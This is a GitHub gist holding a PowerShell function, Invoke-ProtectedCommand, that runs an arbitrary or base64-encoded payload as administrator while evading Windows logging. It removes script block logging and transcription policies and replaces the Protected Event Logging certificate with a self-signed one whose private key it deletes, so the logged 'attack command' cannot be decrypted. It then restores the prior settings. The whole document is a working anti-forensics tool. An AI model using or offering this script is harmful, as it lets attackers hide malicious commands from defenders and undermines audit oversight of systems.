-
-
Save p0w3rsh3ll/cda173ab578c50bac71d5ba61eb7dfbc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Requires -Version 5 | |
#Requires -RunAsAdministrator | |
Function Invoke-ProtectedCommand { | |
[CmdletBinding(DefaultParameterSetName='All')] | |
Param( | |
[Parameter(ParameterSetName='All',Mandatory)] | |
[string] | |
$Payload, | |
[Parameter(ParameterSetName='Encoded',Mandatory)] | |
[string] | |
$EncodedPayload, | |
[Parameter()] | |
[switch] | |
$LeaveFootPrint, | |
[Parameter()] | |
[switch] | |
$LeaveTranscript | |
) | |
Begin { | |
#region helper functions | |
Function Disable-PSScriptBlockLogging { | |
[CmdletBinding()] | |
Param() | |
Begin{} | |
Process { | |
Try { | |
Remove-Item -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Force –Recurse -ErrorAction Stop | |
Write-Verbose -Message 'ScriptBlock Logging disabled successfully' | |
} Catch { | |
Write-Warning -Message "Failed because $($_.Exception.Message)" | |
} | |
} | |
End {} | |
} | |
Function Enable-PSScriptBlockLogging { | |
[CmdletBinding()] | |
Param() | |
Begin { | |
$basePath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' | |
} | |
Process { | |
Try { | |
if(-not (Test-Path -Path $basePath -PathType Container)) { | |
$null = New-Item -Path $basePath -ItemType Directory –Force -ErrorAction Stop | |
} | |
Set-ItemProperty -Path $basePath -Name 'EnableScriptBlockLogging' -Value '1' -ErrorAction Stop | |
Write-Verbose -Message 'ScriptBlock Logging enabled successfully' | |
} catch { | |
Write-Warning -Message "Failed because $($_.Exception.Message)" | |
} | |
} | |
End {} | |
} | |
Function Enable-ProtectedEventLogging { | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory)] | |
$Certificate | |
) | |
Begin { | |
$basePath = 'HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging' | |
} | |
Process { | |
Try { | |
if(-not (Test-Path -Path $basePath -PathType Container)) { | |
$null = New-Item -Path $basePath –Force -ErrorAction Stop | |
} | |
Set-ItemProperty -Path $basePath -Name 'EnableProtectedEventLogging' -Value '1' -ErrorAction Stop | |
Set-ItemProperty -Path $basePath -Name 'EncryptionCertificate' -Value $Certificate -ErrorAction Stop | |
Write-Verbose -Message 'ProtectedEventLogging enabled successfully' | |
} Catch { | |
Write-Warning -Message "Failed because $($_.Exception.Message)" | |
} | |
} | |
End {} | |
} | |
Function Disable-ProtectedEventLogging { | |
[CmdletBinding()] | |
Param() | |
Begin{} | |
Process { | |
Try { | |
Remove-Item HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging -Force –Recurse -ErrorAction Stop | |
Write-Verbose -Message 'ProtectedEventLogging disabled successfully' | |
} Catch { | |
Write-Warning -Message "Failed because $($_.Exception.Message)" | |
} | |
} | |
End {} | |
} | |
Function Enable-PSTranscription { | |
[CmdletBinding()] | |
Param( | |
$OutputDirectory, | |
[Switch]$IncludeInvocationHeader | |
) | |
Begin { | |
# Ensure the base path exists | |
$basePath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' | |
} | |
Process { | |
Try { | |
if(-not (Test-Path -Path $basePath -PathType Container)) { | |
$null = New-Item -Path $basePath -ItemType Directory –Force -ErrorAction Stop | |
} | |
# Enable transcription | |
Set-ItemProperty -Path $basePath -Name 'EnableTranscripting' -Value 1 -ErrorAction Stop | |
Write-Verbose -Message 'Transcripting enabled successfully' | |
# Set the output directory | |
if($PSCmdlet.MyInvocation.BoundParameters.ContainsKey('OutputDirectory')) { | |
if (Test-Path -Path $OutputDirectory -PathType Container) { | |
Set-ItemProperty -Path $basePath -Name 'OutputDirectory' -Value $OutputDirectory -ErrorAction Stop | |
Write-Verbose -Message "Transcripting destination set to $($OutputDirectory) successfully" | |
} else { | |
Write-Warning -Message "Transcripting destination set to $($OutputDirectory) is not accessible" | |
} | |
} | |
# Set the invocation header | |
if($IncludeInvocationHeader) { | |
Set-ItemProperty $basePath -Name 'EnableInvocationHeader' -Value 1 -ErrorAction Stop | |
Write-Verbose -Message 'EnableInvocationHeader enabled successfully' | |
} | |
} catch { | |
Write-Warning -Message "Failed because $($_.Exception.Message)" | |
} | |
} | |
End {} | |
} | |
Function Disable-PSTranscription { | |
[CmdletBinding()] | |
Param() | |
Begin{} | |
Process { | |
Try { | |
Remove-Item -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -Force –Recurse -ErrorAction Stop | |
Write-Verbose -Message 'Transcripting disabled successfully' | |
} Catch { | |
Write-Warning -Message "Failed because $($_.Exception.Message)" | |
} | |
} | |
End {} | |
} | |
#endregion | |
$HT = @{ | |
Subject = 'CN=me@contoso'; | |
KeyLength = 2048; | |
KeySpec = 'KeyExchange'; | |
HashAlgorithm = 'SHA1'; | |
KeyExportPolicy = 'Exportable'; | |
KeyUsage = 'KeyEncipherment','DataEncipherment' ; | |
NotAfter = (Get-Date).AddYears(1); | |
TextExtension = '2.5.29.37={text}1.3.6.1.4.1.311.80.1'; | |
} | |
} | |
Process { | |
# Remove any DocumentEncryptionCert | |
'LocalMachine','CurrentUser' | ForEach-Object { | |
Get-ChildItem -Path "Cert:\$($_)\My" -DocumentEncryptionCert -ErrorAction SilentlyContinue | Remove-Item | |
} | |
# Capture any existing Enabled protected eventlog | |
if (Test-Path -Path 'HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging') { | |
$GPOCert = (Get-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging' -Name EncryptionCertificate -ErrorAction SilentlyContinue).EncryptionCertificate | |
} | |
# Capture any existing transcripts | |
if (Test-Path -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription') { | |
$TSOutDir = (Get-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -Name OutputDirectory -ErrorAction SilentlyContinue).OutputDirectory | |
$TSEnabled = (Get-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -Name EnableTranscripting -ErrorAction SilentlyContinue).EnableTranscripting | |
$TSIH = (Get-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -Name EnableInvocationHeader -ErrorAction SilentlyContinue).EnableInvocationHeader | |
} | |
# Create a self-signed certificate | |
try { | |
$SSCert = New-SelfSignedCertificate @HT -ErrorAction Stop | |
} catch { | |
Write-Warning -Message "Self signed certificate not created because $($_.Exception.Message)" | |
} | |
if ($SSCert) { | |
# Cleanup before processing | |
Disable-PSScriptBlockLogging -Verbose | |
Disable-ProtectedEventLogging -Verbose | |
$B64CertString = @" | |
-----BEGIN CERTIFICATE----- | |
$( | |
[Convert]::ToBase64String( | |
(Get-ChildItem Cert:\LocalMachine\My\ -DocumentEncryptionCert -ErrorAction SilentlyContinue).Export( | |
[System.Security.Cryptography.X509Certificates.X509ContentType]::Cert | |
), | |
'InsertLineBreaks' | |
) | |
) | |
-----END CERTIFICATE----- | |
"@ | |
if ($LeaveFootPrint) { | |
$g = [guid]::NewGuid().toString('n') | |
$null = Export-Certificate -Type CERT -Cert $SSCert -FilePath "$($HOME)\publickey_$($g).cer" | |
Write-Verbose -Message "Public key used to encrypt the attack command dumped in `$HOME\publickey_$($g).cer" -Verbose | |
$null = Export-PfxCertificate -Cert $SSCert -Password (ConvertTo-SecureString -AsPlainText '12345678' -Force) -FilePath "$($HOME)\privatekey_$($g).pfx" | |
Write-Verbose -Message "Private key to decrypt the attack command dumped in `$HOME\privatekey_$($g).pfx" -Verbose | |
} | |
if (-not($LeaveTranscript)) { | |
Disable-PSTranscription -Verbose | |
} | |
# Enable back protected eventlogs with our new cert | |
Enable-ProtectedEventLogging -Certificate $B64CertString -Verbose | |
Enable-PSScriptBlockLogging -Verbose | |
# Remove any DocumentEncryptionCert | |
'LocalMachine','CurrentUser' | ForEach-Object { | |
Get-ChildItem -Path "Cert:\$($_)\My" -DocumentEncryptionCert -ErrorAction SilentlyContinue | Remove-Item | |
} | |
# Execute the payload | |
Switch ($PsCmdlet.ParameterSetName) { | |
'Encoded' { | |
Start-Process -FilePath "$($env:systemroot)\system32\windowspowershell\v1.0\powershell.exe" -ArgumentList @( | |
'-nop', | |
'-encodedCommand',$EncodedPayload | |
) -Wait | |
Write-Verbose -Message 'Successfully executed encoded payload' | |
break | |
} | |
default { | |
Start-Process -FilePath "$($env:systemroot)\system32\windowspowershell\v1.0\powershell.exe" -ArgumentList @( | |
'-nop', | |
'-encodedCommand', | |
$([Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes($Payload))) | |
) -Wait | |
Write-Verbose -Message 'Successfully executed payload' | |
} | |
} | |
} | |
} | |
End { | |
if ($GPOCert) { | |
Set-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging' -Name 'EncryptionCertificate' -Value $GPOCert | |
Write-Verbose -Message 'Successfully restored the original GPO certificate used for encrypting eventlogs' -Verbose | |
} else { | |
Disable-ProtectedEventLogging -Verbose | |
} | |
if (-not($LeaveTranscript)) { | |
if (Test-Path -Path $TSOutDir -PathType Container) { | |
if ($TSEnabled) { | |
if ($TSIH) { | |
Enable-PSTranscription -OutputDirectory $TSOutDir -IncludeInvocationHeader -Verbose | |
} else { | |
Enable-PSTranscription -OutputDirectory $TSOutDir -Verbose | |
} | |
} | |
} | |
} | |
} | |
} #endof function |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment